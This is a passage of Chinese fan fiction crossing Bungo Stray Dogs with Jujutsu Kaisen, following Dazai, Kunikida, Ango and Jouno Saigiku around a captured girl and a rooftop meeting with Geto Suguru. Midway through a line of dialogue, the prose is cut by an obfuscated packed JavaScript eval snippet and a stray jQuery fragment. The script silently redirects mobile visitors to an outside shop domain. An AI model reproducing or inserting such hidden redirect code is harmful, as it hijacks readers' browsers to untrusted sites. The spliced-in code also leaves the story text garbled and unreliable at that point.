站在太宰治身边的国木田独步闻言皱了皱眉头,他警觉的挡在了太宰治前面,手指摸进口袋,轻轻的捏住了笔记本的边缘“军警?异能特务科?她是罪犯?”
“那得看是哪边的法律”太宰治用手指勾着那一串钥匙转圈“毕竟国会现在还没有咒术界的控制权,而咒术界那边几乎形成了与如今的霓虹完全不一样的法律体系。”
他侧了侧头“以咒术界的说法,她这个情况,应该叫诅咒师。”
“她应该是在咒术界的通缉榜上的,但咒术界的总监会盛行私刑,而且通常是内部通缉,在往常这不应该是异能特务科该管的事情。”
太宰治方才对枷场美美子说的那番话倒不是在故意惹人生气,他说这些其实是在诚恳的给出忠告。
横滨确实不同于东京,这里的危险区域太多了,不熟悉这里的人很容易胡乱走进一些不该进的地方,然后轻松丧命。
不要说什么咒术师不同于常人,在横滨,咒术师的力量与异能力者并无区别,而横滨的各大势力对付异能力者都可以算是轻车熟路,当初在战争时期,连超越者都能陷落到这片泥潭里,消失的无声无息。那个小女孩实力比得过超越者吗?不见得吧?
再者,虽然太宰治因为某些原因厌恶异能特务科,但对比起咒术界的腐朽混乱,异能特务科好歹是在国会严格程序下设立的官方机构,如果要找地方让这小姑娘得到教导,那当然是异能特务科更好一些。
但是很显然,面前的这位小姑娘并不能领会太宰治的这份难得的好意。
枷场美美子用不甘的目光看了看太宰治手上的那串钥匙,并没有过多留恋,立即夺门而逃。
索性国木田独步对此早有准备,他迅速使用了异能力,伸手从本子上拿出了一把小型的麻醉枪。针头划破空间,精准的扎进了枷场美美子的脖子。
金发前教师最后还体贴的上前一步接住了昏迷倒下的小女孩。
大约十分钟后,收到太宰治消息的坂口安吾匆匆赶来,为的是接走昏迷的枷场美美子,并拿走自己的钥匙。
但国木田独步却蹙着眉,迟迟没有放开抱着小女孩的手。
太宰治看一眼就知道他在想什么,虽说对于这件事情自己已经有所猜测,也有能力很快查到真相,并不需要这个多余的步骤,但还是为了搭档开口询问“这个小姑娘是什么状况?”
他的神情是笑眯眯的,但那通身气质隐约还是能看见当年的黑暗冰冷,让人不敢小觑“你知道的,安吾,不要敷衍我哦。”
坂口安吾疲惫的叹了口气,他扶着眼镜“我并没有这样的想法,而且这些事情你迟早也能查出来。”
“不过现在解释起来太麻烦了,我回头会把能给的情报都发给你。”
另一边的东京。
夜晚已经只剩下尾声,往常这个时候条野采菊该去休息了,但他现在还在带着耳麦工作,一边带了一个,一个是孔时雨的,一个是异能特务科的。
孔时雨那边暂时没有消息,但异能特务科寻人的进度却是时时刻刻都在变化。
“去找找住在镭体街边缘的那些小孩子,不要试图跟他们谈生意,那些孩子可机灵了,一点风吹草动就会跑,你先把他们抓出来,再给他们一些吃的,他们会告诉你发生了什么的。”
在条野采菊的指挥下,特工们很快找到了追捕过枷场美美子的几个人贩子,并顺手把他们送去了监狱。
但还没等他们去查看沿路的房间,情况就发生了变化,坂口安吾收到了武装侦探社的消息,据说武装侦探社的人在镭体街执行调查任务的时候碰到了枷场美美子。
这样一来,这个忙活了半个晚上的工作似乎要完成了。
时间已经一点一点流失了,现在透过安全屋的窗户能看到的天空,上面的色彩已经悄然发生了变化。
那原本深邃的蓝色逐渐被一层淡淡的紫罗兰色所覆盖,仿佛是天空在苏醒前的轻柔呼吸。随后,那紫罗兰色渐渐消退,被一种淡淡的橙红色所取代。那橙红色是一抹羞涩的朝霞,悄悄地爬上了天际。
条野采菊若有所查的从工作中暂时抽身,侧脸朝向窗外,他能听见苏醒的声音,鸟雀虫鱼,还有人。
今夜发生了很多的事情,闹得许多人难以入眠,但普通人的生活还在平静的继续。这些事情与他们有关,又无关。
有关的是这些确实是发生在这个世界上的事情,蝇头或许就在某一个擦肩而过的人的肩膀上趴着,但也确实与他们无关,因为他们看不见世界的另一面,因此另一面也不影响他们继续自己的生活。
但这没什么不好,普通人,他们的忙忙碌碌才是这个世界的常态,维持着世界的运转。
随着太阳的升起,天空的色彩越来越丰富。那一片橙红色渐渐扩大,融入了金色的光辉。云朵也仿佛被阳光唤醒,它们在天空中慢慢漂浮,游动。
远处的大地开始泛起微光,那是一种淡淡的、柔和的蓝色调子,与天空的色彩交相辉映。
异能特务科已经找回了误入镭体街的枷场美美子,那这边的工作就算是结束了,于是条野采菊伸手摘下了右边的耳麦。
但还没等他缓一口气,另一边的耳麦就发出了电流的“滋滋”声,紧接着孔时雨的声音在耳畔响起。
“无明先生,我已经按照您的要求把情报传了出去,但好像有人在为您遮掩行踪,那些情报很快又不见了。”
有人在为自己遮掩行踪?
条野采菊的眼睫毛动了动,若有所思。
遮掩自己的行踪会对谁有影响?又是谁在顺水推舟?
条野采菊抬起脸,手指轻点着下巴,心里已然有了七分成算,虽然这一面是必须要见的,但是自己也不介意顺应幕后黑手的计策,并将计就计,来看看这位推动夏油杰叛逃的人,究竟是何方神圣。
于是他点开了耳麦的传音“再送,送的更隐秘一些,我相
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493848|141249||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
信夏油杰现在也在疯狂找我,只要能流出一条,他就一定能找到我。”
“另外帮我查一下,究竟是谁在掩盖我的情报。”
等到夜晚再次降临,睡眠充足状态良好的条野采菊在完成了自己的委托之后,便在任务地点旁边的摩天大楼顶层寻了个视野良好的位置,听着那个强劲的心跳声逐渐靠近。
这是条野采菊第一次见到传说中的最恶诅咒师夏油杰,他看起来很不好。
夏油杰的疲惫与愤怒明显到让不敏锐的人也能一眼看清,那眼眶里已经布满了密密麻麻的红血丝,他的面容憔悴,头发凌乱,嘴唇干裂。
条野采菊隔着很远也能听到他那激动情绪下的嘈杂心音。
“该死的,那只没有咒力的该死的猴子!”
“菜菜子美美子要是出了什么事情,我一定会让他求生不能求死不得!”
“盘星教的情报还是太没用了,一整天过去,够那个无明做多少事情。”
“好像连累悟了,但也没办法跟他道歉,毕竟我们现在是敌人嘛。”
夏油杰很快就在情报给出的地方看见了条野采菊。
这位最近在咒术界声名鹤起的诅咒师有着一头白色的末端染红的头发,那张脸倒是好看,没有伏黑甚尔那样尖锐的攻击性,看上去甚至能说是温文尔雅。
他穿着一件黑色的风衣,双眼用黑布包裹,腰间挂着一把长刀,还别着几把枪。
诅咒师无明坐在大楼顶层的栏杆上,侧过头来面向着踩着不知名飞行咒灵的夏油杰,耳畔的红绳在夜风吹拂下晃晃悠悠。
他是故意在这里等着自己的。
夏油杰突然意识到了这一点,他松了一口气。
既然是奔着自己来的,人还到了自己面前,为了不被暴怒的特级诅咒师杀掉,身为人质的那两个女孩应该不会出什么大事。
当然,也不排除无明就只是想看看自己痛苦的表情,这样一个可怕的可能性。
夏油杰调整了表情,他皮笑肉不笑的勾起了唇角,那双黑色狐狸眼眼尾扬起,目光沉郁“你想要什么?”
他踩在鸟雀形态的咒灵上,低下头看着条野采菊,黑色的长发被风吹起,设计精良的五条袈裟衣摆飞扬。
条野采菊略微抬起头,他紧闭的双眼对上了夏油杰细长的眼眸“我听说您是从咒术高专毕业的,原先和五条家六眼的关系不错?”
冲着悟来的吗?无明跟五条悟有仇?还是跟五条家?
夏油杰眯了眯眼,收在袖子里的手上,庞大的咒力开始汇聚“我现在是诅咒师,怎么会和咒术界最强有什么关系?”
条野采菊好似对他的动作无知无觉,只是侧着头,问出了今晚的第二个问题。
“听说您杀了自己的父母,对此您有过哪怕一分一毫的后悔吗?”
冷月刺骨,夜风呼啸,今夜没有星星,而冲天的高楼之下,东京夜晚的灯光璀璨,却又隔着很远很远。